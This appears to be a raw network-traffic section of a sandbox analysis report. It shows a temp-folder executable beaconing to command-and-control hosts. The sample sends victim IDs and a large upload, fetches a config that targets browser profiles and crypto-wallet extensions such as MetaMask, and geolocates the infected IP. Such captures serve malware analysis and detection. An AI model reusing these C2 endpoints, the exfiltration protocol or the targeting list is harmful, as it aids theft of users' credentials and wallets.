70	192.168.2.4	63713	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:14 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	63715	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:15 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1536 Host: employhabragaomlsp.shop
2024-05-24 11:43:15 UTC	1536	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:15 UTC	822	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6c5ct2g9mnupc34gj9bruh9pk0; expires=Tue, 17-Sep-2024 05:29:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zd8FqeaqQIs%2B3AUdZ%2B%2FT5vmzF3QpirnpxF80qMUgAg6%2FhVX1dE%2FveUrGXdeo6ncLr2jFrlYhGKSDQMzTsd4oUWFK35Z5QiBVb6fgotL7598%2FAhhzZzV%2Fyu2fFSoeVZn2mO3buADw8uVG%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06e8fb0b198e-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	63716	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:16 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:16 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 36 41 41 45 31 43 44 39 45 33 32 38 38 37 32 30 32 38 37 35 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"4B6AAE1CD9E32887202875-a33c7340-61ca-11ee-8c18-806e6f6e6963------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------
2024-05-24 11:43:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:17 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 7c 31 7c 31 7c 31 7c 31 7c 31 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|8749d88808cb872afda3b6684d3a7eba\|1\|1\|1\|1\|1\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	63717	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:17 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 41915 Host: employhabragaomlsp.shop
2024-05-24 11:43:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:17 UTC	15331	OUT	Data Raw: cb 07 ca 2c 2c b3 2b ef 94 de f8 c2 08 e0 d4 1d 41 64 1b a1 34 e9 6c 90 52 3f 12 72 58 77 5a ca 0a 6b e5 7a f2 79 77 9d b3 23 c2 cf c8 74 3b 43 a8 1a 7e 76 33 55 5c 90 a7 4c 18 10 74 6d 7a 92 88 b7 da 05 8a c4 62 fc 96 f5 a2 44 43 9d 16 07 3c a2 40 e3 4f ba 5c 1a 8b 89 d5 d2 f2 83 77 b8 37 9d c6 6e 72 e0 1f 33 61 c6 ec a7 fd f2 1a db 9d 15 38 19 a3 e9 34 4c d7 18 65 f6 ec f3 dc 11 81 eb 52 16 ad f2 c8 01 d4 1a 65 72 dd 48 93 8a f3 6d 28 bb b9 7e fd c2 62 7a dd c3 a9 e1 50 aa 9e e4 3c a8 6a 2a ef 5d 7a 68 ee a7 6b ba 0b e1 00 5e 48 d0 a6 fe 4c aa 6f 6b 89 e7 af 1f 5a dd 35 d2 6c cf c4 1a 73 89 22 c3 d9 53 e7 bc b4 27 5d 70 37 39 96 cd b1 15 d7 84 cc d3 35 02 26 bf 80 c6 bd 88 55 a7 42 a6 12 17 18 30 ef 16 99 ba 81 e4 06 4b d5 79 31 80 db ae 2a f4 a0 ee 48 Data Ascii: ,,+Ad4lR?rXwZkzyw#t;C~v3U\LtmzbDC<@O\w7nr3a84LeRerHm(~bzP<j]zhk^HLokZ5ls"S']p795&UB0Ky1H
2024-05-24 11:43:17 UTC	11253	OUT	Data Raw: 3c f0 19 cf 1b 58 f5 85 2f 82 5c 62 8c 10 80 ae e4 3a 79 33 18 f7 4a 02 d6 77 85 72 a7 b5 81 d9 07 54 b4 a4 ba ef 84 27 ff 35 8a 83 88 48 92 e8 9f 97 8a df e7 b0 0c a8 67 95 70 aa 81 d3 e3 ab 07 a1 bc 1c 8b 3f 23 d5 74 1d 1e a3 4d 28 13 1e 5a db 0b e5 ed 94 4f 59 4f a9 a3 2d 40 68 a2 d0 65 e8 55 15 40 a6 67 b6 8b 6c b0 b6 71 4d d9 4a 5d a8 3b d8 8d c5 ce a0 e8 1e 74 f4 79 20 a1 25 c9 71 79 8d 7f fd 20 76 e8 9e ca b4 06 47 c8 b2 57 d1 7d 16 bb 36 b2 b4 4f 86 e1 4a 2d 55 f2 ca ac b4 fd e1 f2 b8 c9 ed ee 34 b9 73 ce de 46 41 ab 2e 2e c1 c3 1e 86 f3 c5 36 07 60 61 3d f0 93 d5 f4 fb dc f5 5a d2 2c 23 d8 79 b1 de 4d 99 a3 09 66 2f b5 3d d8 ce 7c 76 05 9f 4f 41 00 07 10 22 5c 4f 1a 6d 73 4f 44 44 bd 88 36 b7 52 8d 91 54 3d 0d a3 e7 fa 4d 16 73 2c b6 c9 65 0c 1d Data Ascii: <X/\b:y3JwrT'5Hgp?#tM(ZOYO-@heU@glqMJ];ty %qy vGW}6OJ-U4sFA..6`a=Z,#yMf/=\|vOA"\OmsODD6RT=Ms,e
2024-05-24 11:43:18 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3u2k5ob42l3tn6nqgdpclrmdjn; expires=Tue, 17-Sep-2024 05:29:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CDFeJ45MX9jjupkpOFZltL5wimQB6%2Bthy3N%2FmicWJoBq4t28iVXK1pmt6Yx8pm8MGvDzv2FBVAHIfmy9XY6zOPuUOInZhcfUhcsnpePZhNf%2Fd2FR1682EQQeFk5Fw8D7e0fAushorNeXzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06f50bcb8c2d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	63718	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:18 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:18 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------AKEGDHJDHDAFHJJKJEHCCont
2024-05-24 11:43:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:19 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	63719	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:21 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:21 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------CGIEBAFHJJDBGCAKJJKFCont
2024-05-24 11:43:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:22 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	63720	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:23 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:23 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------HDBGHIDGDGHCBGDGCBFICont
2024-05-24 11:43:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:24 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	63722	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:26 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 7445 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:26 UTC	7445	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------EBKKKEGIDBGHIDGDHDBFCont
2024-05-24 11:43:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	63724	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:26 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:43:27 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:43:27 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 7 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:43:27 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
